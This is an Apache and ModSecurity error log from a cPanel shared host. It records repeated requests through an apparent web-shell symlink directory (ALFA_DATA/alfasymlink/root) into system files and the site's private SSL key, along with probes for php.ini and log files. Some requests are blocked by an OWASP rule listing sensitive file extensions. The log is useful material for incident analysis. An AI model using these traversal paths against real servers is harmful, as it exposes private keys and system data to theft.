[Mon Oct 26 01:59:35.845430 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 52.200.142.199:28452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:59:43.717681 2026] [security2:error] [pid 2974947:tid 2974947] [client 107.172.76.131:51502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7sQnTk5TnE5TElIbuUHgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:59:43.717736 2026] [security2:error] [pid 2974947:tid 2974947] [client 107.172.76.131:51502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7sQnTk5TnE5TElIbuUHgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:59:47.762659 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 52.204.253.129:34486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:59:55.982635 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 34.206.193.60:51580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:03.754334 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 52.202.233.37:44257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:07.785298 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.213.213.161:54210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:10.329424 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 85.208.96.197:50336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__mcount_loc
[Mon Oct 26 02:00:11.724663 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 98.83.10.183:39999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:15.831224 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 107.23.62.75:17386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/remove
[Mon Oct 26 02:00:20.022624 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.223.134.5:38919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:27.749120 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 34.205.170.13:5055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:32.535992 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 18.214.238.178:26496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:44.040379 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 18.235.158.19:61159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:47.814733 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 54.84.169.196:13753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:49.510276 2026] [core:error] [pid 2973029:tid 2973029] (13)Permission denied: [client 185.191.171.11:58102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/ctor
[Mon Oct 26 02:00:51.821452 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 54.147.182.90:46107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:00:55.770227 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 107.20.25.33:19089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:04.042060 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 107.20.181.148:46393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:07.913525 2026] [core:error] [pid 2973333:tid 2973333] (13)Permission denied: [client 52.204.174.139:15846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/ACPI0010:00/subsystem/drivers_probe
[Mon Oct 26 02:01:15.729421 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 34.231.118.144:46737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:28.056436 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 18.213.102.186:54578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:39.638270 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 98.82.214.73:3274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:48.246639 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 100.28.204.82:15204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:54.029697 2026] [core:error] [pid 2974947:tid 2974947] (13)Permission denied: [client 185.191.171.6:39134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/partial
[Mon Oct 26 02:01:55.733117 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 3.226.106.93:56561] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:01:59.788865 2026] [ssl:error] [pid 2963540:tid 2963540] (5)Input/output error: [client 54.235.172.96:38445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:12.346064 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 85.208.96.204:38534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:15.687575 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.71.203.206:26609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:19.935271 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 34.234.200.207:46557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:23.699255 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 107.23.62.75:48898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:28.627270 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 34.231.118.144:36532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:32.638551 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 85.208.96.203:22736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/cpu_partial
[Mon Oct 26 02:02:35.493668 2026] [authz_core:error] [pid 2973325:tid 2973325] [client 165.154.36.79:57540] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:02:36.428179 2026] [core:error] [pid 2974955:tid 2974955] (13)Permission denied: [client 3.210.114.189:46181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/remove
[Mon Oct 26 02:02:39.864372 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 34.239.197.197:64924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:02:51.401685 2026] [core:error] [pid 2974955:tid 2974955] (13)Permission denied: [client 85.208.96.199:14832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/destroy_by_rcu
[Mon Oct 26 02:02:56.189888 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 3.212.86.97:64011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/remove_id
[Mon Oct 26 02:02:59.259420 2026] [security2:error] [pid 2973332:tid 2973332] [client 185.191.171.16:17990] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bf3d1_80633_c7d4d5099d3088bb6edda8faf8969965.key"] [unique_id "at7tEz_i4HNCTNPOg5uzSAAAAAw"]
[Mon Oct 26 02:02:59.259802 2026] [security2:error] [pid 2973332:tid 2973332] [client 185.191.171.16:17990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bf3d1_80633_c7d4d5099d3088bb6edda8faf8969965.key"] [unique_id "at7tEz_i4HNCTNPOg5uzSAAAAAw"]
[Mon Oct 26 02:02:59.260214 2026] [security2:error] [pid 2973332:tid 2973332] [client 185.191.171.16:17990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bf3d1_80633_c7d4d5099d3088bb6edda8faf8969965.key"] [unique_id "at7tEz_i4HNCTNPOg5uzSAAAAAw"]
[Mon Oct 26 02:02:59.709931 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 54.157.84.74:3055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:03:03.710123 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 54.162.69.192:54745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:03:11.494461 2026] [security2:error] [pid 2973332:tid 2973332] [client 16.216.88.126:45056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at7tHz_i4HNCTNPOg5uzSQAAAAw"]
[Mon Oct 26 02:03:11.494998 2026] [security2:error] [pid 2973332:tid 2973332] [client 16.216.88.126:45056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at7tHz_i4HNCTNPOg5uzSQAAAAw"]
[Mon Oct 26 02:03:11.495336 2026] [security2:error] [pid 2973332:tid 2973332] [client 16.216.88.126:45056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at7tHz_i4HNCTNPOg5uzSQAAAAw"]
[Mon Oct 26 02:03:19.715160 2026] [core:error] [pid 2973344:tid 2973344] (13)Permission denied: [client 98.82.40.168:53040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input1/device/subsystem/uevent
[Mon Oct 26 02:03:23.719054 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 3.220.70.171:53053] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:03:32.076370 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 23.21.250.48:29947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:03:39.607341 2026] [authz_core:error] [pid 2973029:tid 2973029] [client 136.69.130.166:46208] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 02:03:39.669362 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 54.163.136.244:61873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:03:40.520108 2026] [authz_core:error] [pid 2973344:tid 2973344] [client 136.69.130.166:46258] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 02:03:40.589508 2026] [authz_core:error] [pid 2978278:tid 2978278] [client 136.69.130.166:46298] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 02:03:40.602062 2026] [security2:error] [pid 2973029:tid 2973029] [client 136.69.130.166:46332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/zacson2/index.html"] [unique_id "at7tPCjB3W9Ksyd0HzOjAgAAAAY"]
[Mon Oct 26 02:03:40.602106 2026] [security2:error] [pid 2973029:tid 2973029] [client 136.69.130.166:46332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/zacson2/index.html"] [unique_id "at7tPCjB3W9Ksyd0HzOjAgAAAAY"]
[Mon Oct 26 02:03:40.751361 2026] [security2:error] [pid 2978278:tid 2978278] [client 136.69.130.166:46298] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at7tPFPy1ZSx6owxPsoRXAAAAAE"]
[Mon Oct 26 02:03:40.751950 2026] [security2:error] [pid 2978278:tid 2978278] [client 136.69.130.166:46298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at7tPFPy1ZSx6owxPsoRXAAAAAE"]
[Mon Oct 26 02:03:40.752197 2026] [security2:error] [pid 2978278:tid 2978278] [client 136.69.130.166:46298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at7tPFPy1ZSx6owxPsoRXAAAAAE"]
[Mon Oct 26 02:03:40.919333 2026] [security2:error] [pid 2973323:tid 2973323] [client 136.69.130.166:46246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_jalisco_1.html"] [unique_id "at7tPAjvxj7QW3rihjPl_QAAAAM"]
[Mon Oct 26 02:03:40.919363 2026] [security2:error] [pid 2973323:tid 2973323] [client 136.69.130.166:46246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_jalisco_1.html"] [unique_id "at7tPAjvxj7QW3rihjPl_QAAAAM"]
[Mon Oct 26 02:03:41.309975 2026] [authz_core:error] [pid 2973029:tid 2973029] [client 136.69.130.166:46332] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Mon Oct 26 02:03:41.403469 2026] [authz_core:error] [pid 2978288:tid 2978288] [client 136.69.130.166:46310] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 02:03:42.331990 2026] [security2:error] [pid 2978287:tid 2978287] [client 136.69.130.166:46288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at7tPrPsc9vz4iO-ovpsbgAAAAU"]
[Mon Oct 26 02:03:42.332410 2026] [security2:error] [pid 2978287:tid 2978287] [client 136.69.130.166:46288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at7tPrPsc9vz4iO-ovpsbgAAAAU"]
[Mon Oct 26 02:03:42.332705 2026] [security2:error] [pid 2978287:tid 2978287] [client 136.69.130.166:46288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at7tPrPsc9vz4iO-ovpsbgAAAAU"]
[Mon Oct 26 02:03:42.669371 2026] [security2:error] [pid 2978291:tid 2978291] [client 136.69.130.166:46326] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at7tPs3C4Gmhfd2KRKgAqgAAAAk"]
[Mon Oct 26 02:03:42.669802 2026] [security2:error] [pid 2978291:tid 2978291] [client 136.69.130.166:46326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at7tPs3C4Gmhfd2KRKgAqgAAAAk"]
[Mon Oct 26 02:03:42.670083 2026] [security2:error] [pid 2978291:tid 2978291] [client 136.69.130.166:46326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at7tPs3C4Gmhfd2KRKgAqgAAAAk"]
[Mon Oct 26 02:03:42.819379 2026] [authz_core:error] [pid 2978291:tid 2978291] [client 136.69.130.166:46326] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 02:04:03.670050 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 85.208.96.193:42990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/order
[Mon Oct 26 02:04:03.823694 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 3.89.176.255:38646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:04:16.057718 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 50.16.216.166:32306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:04:19.774950 2026] [core:error] [pid 2973324:tid 2973324] (13)Permission denied: [client 3.94.156.104:23306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource0
[Mon Oct 26 02:04:25.097037 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 85.208.96.198:23568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/align
[Mon Oct 26 02:04:27.683572 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 54.156.124.2:3473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:04:39.816177 2026] [core:error] [pid 2978287:tid 2978287] (13)Permission denied: [client 52.45.194.165:11011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/red_zone
[Mon Oct 26 02:04:55.956278 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 23.21.179.120:65518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:00.103134 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 18.215.112.101:48754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:00.510744 2026] [ssl:error] [pid 2974947:tid 2974947] (6)No such device or address: [client 185.191.171.2:38930] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:00.703426 2026] [ssl:error] [pid 2978294:tid 2978294] (6)No such device or address: [client 185.191.171.2:38938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:04.010256 2026] [core:error] [pid 2973324:tid 2973324] (13)Permission denied: [client 54.197.114.76:58784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:01/PNP0303:00/physical_node/subsystem/drivers_probe
[Mon Oct 26 02:05:07.759765 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.205.141.124:13885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:12.115494 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 107.23.62.75:54740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:17.327205 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 185.191.171.16:17068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/userplans
[Mon Oct 26 02:05:19.334691 2026] [ssl:error] [pid 2978298:tid 2978298] (70014)End of file found: [client 100.29.160.53:48247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:31.382247 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 44.207.207.36:12075] AH02013: coalesce failed to read from data bucket
